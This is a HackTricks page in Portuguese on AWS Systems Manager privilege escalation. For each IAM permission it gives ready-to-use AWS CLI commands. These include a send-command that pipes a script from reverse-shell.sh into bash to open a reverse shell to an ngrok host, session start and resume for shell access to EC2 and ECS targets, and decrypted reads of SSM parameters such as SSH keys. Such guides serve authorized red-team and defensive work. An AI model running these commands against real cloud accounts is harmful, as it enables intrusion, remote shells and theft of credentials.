AWS - SSM Privesc

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

SSM

Para mais informações sobre o SSM, verifique:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Um atacante com a permissão ssm:SendCommand pode executar comandos em instâncias em execução no Amazon SSM Agent e comprometer a Função IAM em execução dentro dela.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

No caso de estar utilizando essa técnica para elevar privilégios dentro de uma instância EC2 já comprometida, você poderia simplesmente capturar o rev shell localmente com:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impacto Potencial: Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução com Agentes SSM em execução.

ssm:StartSession

Um atacante com a permissão ssm:StartSession pode iniciar uma sessão semelhante ao SSH nas instâncias em execução com o Amazon SSM Agent e comprometer o Papel IAM em execução dentro dela.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Para iniciar uma sessão, é necessário ter o SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Impacto Potencial: Privesc direto para as funções IAM do EC2 anexadas às instâncias em execução com agentes SSM em execução.

Privesc para ECS

Quando as tarefas do ECS são executadas com ExecuteCommand habilitado, usuários com permissões suficientes podem usar ecs execute-command para executar um comando dentro do contêiner. De acordo com a documentação, isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando "exec" e o contêiner de destino com o SSM Session Manager. (Plugin SSM Session Manager necessário para que isso funcione) Portanto, usuários com ssm:StartSession poderão obter um shell dentro das tarefas do ECS com essa opção habilitada apenas executando:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Impacto Potencial: Privesc direto para os papéis ECSIAM anexados às tarefas em execução com ExecuteCommand habilitado.

ssm:ResumeSession

Um atacante com a permissão ssm:ResumeSession pode re-iniciar uma sessão semelhante a SSH em instâncias em execução com o Amazon SSM Agent com um estado de sessão SSM desconectado e comprometer o Papel IAM em execução dentro dela.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Impacto Potencial: Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução com Agentes SSM em execução e sessões desconectadas.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Um atacante com as permissões mencionadas será capaz de listar os parâmetros SSM e lê-los em texto claro. Nestes parâmetros, você pode frequentemente encontrar informações sensíveis como chaves SSH ou chaves de API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impacto Potencial: Encontrar informações sensíveis dentro dos parâmetros.

ssm:ListCommands

Um atacante com essa permissão pode listar todos os comandos enviados e, esperançosamente, encontrar informações sensíveis neles.

aws ssm list-commands

Impacto Potencial: Encontrar informações sensíveis dentro das linhas de comando.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Um atacante com essas permissões pode listar todos os comandos enviados e ler a saída gerada, esperançosamente encontrando informações sensíveis neles.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impacto Potencial: Encontrar informações sensíveis dentro da saída das linhas de comando.

Codebuild

Você também pode usar o SSM para acessar um projeto codebuild em construção:

AWS - Codebuild Privesc
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Last updated